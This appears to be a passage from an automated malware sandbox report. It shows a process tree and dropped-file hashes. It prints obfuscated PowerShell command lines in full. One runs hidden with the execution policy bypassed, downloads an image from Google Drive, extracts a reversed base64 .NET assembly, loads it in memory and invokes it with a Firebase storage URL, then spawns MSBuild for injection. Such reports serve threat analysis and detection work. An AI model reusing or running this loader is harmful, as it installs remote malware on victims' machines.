WtvdCZhaWRlbT10bGE/dHh0LlRJVFNFVC9vL21vYy50b3BzcHBhLmIxMGFlLW9pbS1vdGNlJysneW9ycC9iLzB2L21vYy5zaXBhZWxnb29nLmVnYXJvdHNlc2FiZXJpZi8vOnNwdHRoNFYzLCA0VjNkZXNhdGl2YWRvNFYzLCA0VicrJzNkZXNhdCcrJ2l2YWRvNFYzLCA0VjNkZXNhdGl2YWRvNFYzLCA0VjNNU0J1aWxkNFYzJysnLCA0VjNkZXNhdGl2YWQnKydvNFYzLDRWM2Rlc2F0aXZhZG80VjMsNFYnKyczZGVzYXRpdmFkJysnbzRWMyw0VicrJzNVUkw0VjMsIDRWM0M6Ym0nKydXUHJvZ3JhbURhdGFiJysnbVc0VjMsNFYzY2Fydm9lamFyNFYzLDRWM3ZiczRWMyw0JysnVjMxNFYzLDRWMzE0VjMpKTsnKS1jUmVwTEFjRSAgJ3J0aycsW0NIYXJdMzYgIC1SZVBMQUNFKFtDSGFyXTgyK1tDSGFyXTY2K1tDSGFyXTg2KSxbQ0hhcl0xMjQgLVJlUExBQ0UgKFtDSGFyXTUyK1tDSGFyXTg2K1tDSGFyXTUxKSxbQ0hhcl0zOS1jUmVwTEFjRSAgKFtDSGFyXTk4K1tDSGFyXTEwOStbQ0hhcl04NyksW0NIYXJdOTIpIHwgJiAoIChbc1RSSW5HXSR2ZXJCT1NFUFJFRmVyRW5jZSlbMSwzXSsneCctam9pTicnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD2⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:1088 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('rtkimageUrl = 4V3https://drive.google.com/u'+'c?export=download&id=1AIV'+'gJJ'+'Jv1F6vS4sU'+'OybnH-sDvUhBYwur4V3;rtkwebClient = New-'+'Object S'+'ystem.Net.WebClient;rtkimageBytes = rtkwebClient.Do'+'wnloadDat'+'a(rtkimageUrl);rtkimageText = [Sys'+'tem.Text.Encoding]::UTF8.GetString(rtkimageBytes);rtkstar'+'tFlag = 4V3<<'+'BASE64_START>>4V3;rtkendFlag = 4V3<<BASE64_END>>4V3;rtkstartI'+'ndex = rtk'+'imageText.IndexOf(rtkstartFlag);rtkendIndex = rtkimageText.IndexOf(rtke'+'ndFlag);rtksta'+'rtInd'+'ex -ge 0 -and rtkendIndex -gt rtkstartIndex;rtks'+'tartIndex += rtkstartFla'+'g.Length;rtkbase64Length = rtkendIndex - rtkstartIndex;rtkbase64Command = rtkimageText.Substring('+'rtkstartIndex, rtkbase64Length'+');rtkbas'+'e64Reversed = -join (rtk'+'base64Command.ToCharArray() RBV '+'F'+'orEach-Object { rtk_ })[-1..-(rtkbase64Command.Length)];rtkcommandBytes = [System.Convert]::FromBase64String(r'+'tkbase64Reversed);rtkloade'+'dAssembly = [System.Reflection.A'+'ssembly]::Lo'+'ad(rtkcommandBytes);rtkvaiMethod = [dnlib.IO.Home].GetMethod(4V3VAI4V3);rtkvaiMethod.Invoke(rtknull, '+'@(4V3725eacbd51f1'+'-069b-0654-a9a4-a3f821c0=nekot&aidem=tla?txt.TITSET/o/moc.topsppa.b10ae-oim-otce'+'yorp/b/0v/moc.sipaelgoog.egarotsesaberif//:sptth4V3, 4V3desativado4V3, 4V'+'3desat'+'ivado4V3, 4V3desativado4V3, 4V3MSBuild4V3'+', 4V3desativad'+'o4V3,4V3desativado4V3,4V'+'3desativad'+'o4V3,4V'+'3URL4V3, 4V3C:bm'+'WProgramDatab'+'mW4V3,4V3carvoejar4V3,4V3vbs4V3,4'+'V314V3,4V314V3));')-cRepLAcE 'rtk',[CHar]36 -RePLACE([CHar]82+[CHar]66+[CHar]86),[CHar]124 -RePLACE ([CHar]52+[CHar]86+[CHar]51),[CHar]39-cRepLAcE ([CHar]98+[CHar]109+[CHar]87),[CHar]92) | & ( ([sTRInG]$verBOSEPREFerEnce)[1,3]+'x'-joiN'')"3⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious use of SetThreadContext
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:2452 -
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵PID:3764
-
C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe"4⤵
- System Location Discovery: System Language Discovery
- Suspicious use of AdjustPrivilegeToken
PID:3680
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
-
Filesize
68KB
MD5722ef0f62d5f0d96f0f63888e0d8ae39
SHA10afc5ebc973e07bc01682922e5972dbfead09691
SHA256b2bea3384dc24126675379eb1473946f2927a10d8eff6730bc024716ef0f6864
SHA5129e614dbf3ea73992903a5a93884733ce4346e9108a78fba4f0ded8200cfd0fc33a929cebf2a1236163e63e6e33ac0b0daf8af8e881bb125f9cd57986db5454b2
-
Filesize
3KB
MD5f41839a3fe2888c8b3050197bc9a0a05
SHA10798941aaf7a53a11ea9ed589752890aee069729
SHA256224331b7bfae2c7118b187f0933cdae702eae833d4fed444675bd0c21d08e66a
SHA5122acfac3fbe51e430c87157071711c5fd67f2746e6c33a17accb0852b35896561cec8af9276d7f08d89999452c9fb27688ff3b7791086b5b21d3e59982fd07699
-
Filesize
425B
MD54eaca4566b22b01cd3bc115b9b0b2196
SHA1e743e0792c19f71740416e7b3c061d9f1336bf94
SHA25634ba0ab8d1850e7825763f413142a333ccbc05fa2b5499a28a7d27b8a1c5b4bb
SHA512bc2b1bf45203e3bb3009a7d37617b8f0f7ffa613680b32de2b963e39d2cf1650614d7035a0cf78f35a4f5cb17a2a439e2e07deaefd2a4275a62efd0a5c0184a1
-
Filesize
64B
MD5d8b9a260789a22d72263ef3bb119108c
SHA1376a9bd48726f422679f2cd65003442c0b6f6dd5
SHA256d69d47e428298f194850d14c3ce375e7926128a0bfb62c1e75940ab206f8fddc
SHA512550314fab1e363851a7543c989996a440d95f7c9db9695cce5abaad64523f377f48790aa091d66368f50f941179440b1fa94448289ee514d5b5a2f4fe6225e9b
-
Filesize
64B
MD5446dd1cf97eaba21cf14d03aebc79f27
SHA136e4cc7367e0c7b40f4a8ace272941ea46373799
SHA256a7de5177c68a64bd48b36d49e2853799f4ebcfa8e4761f7cc472f333dc5f65cf
SHA512a6d754709f30b122112ae30e5ab22486393c5021d33da4d1304c061863d2e1e79e8aeb029cae61261bb77d0e7becd53a7b0106d6ea4368b4c302464e3d941cf7
-
Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
-
Filesize
171B
MD5c4147a2f103804ecfbfa00e0e83ac9cf
SHA1d72044fbd72e5c8041d1234106d82507db26d1df
SHA256cbea12fa09640ba66677943f52589497f008be89a4460675150114c42887de54
SHA512d0f3711ef8a31917cf29ad411009256914892818f3fdb7a17fdae2422fb51ff987f6e2204848e12a52f9193a539c323327d79d222cfd6487f2428ace4d7ea07c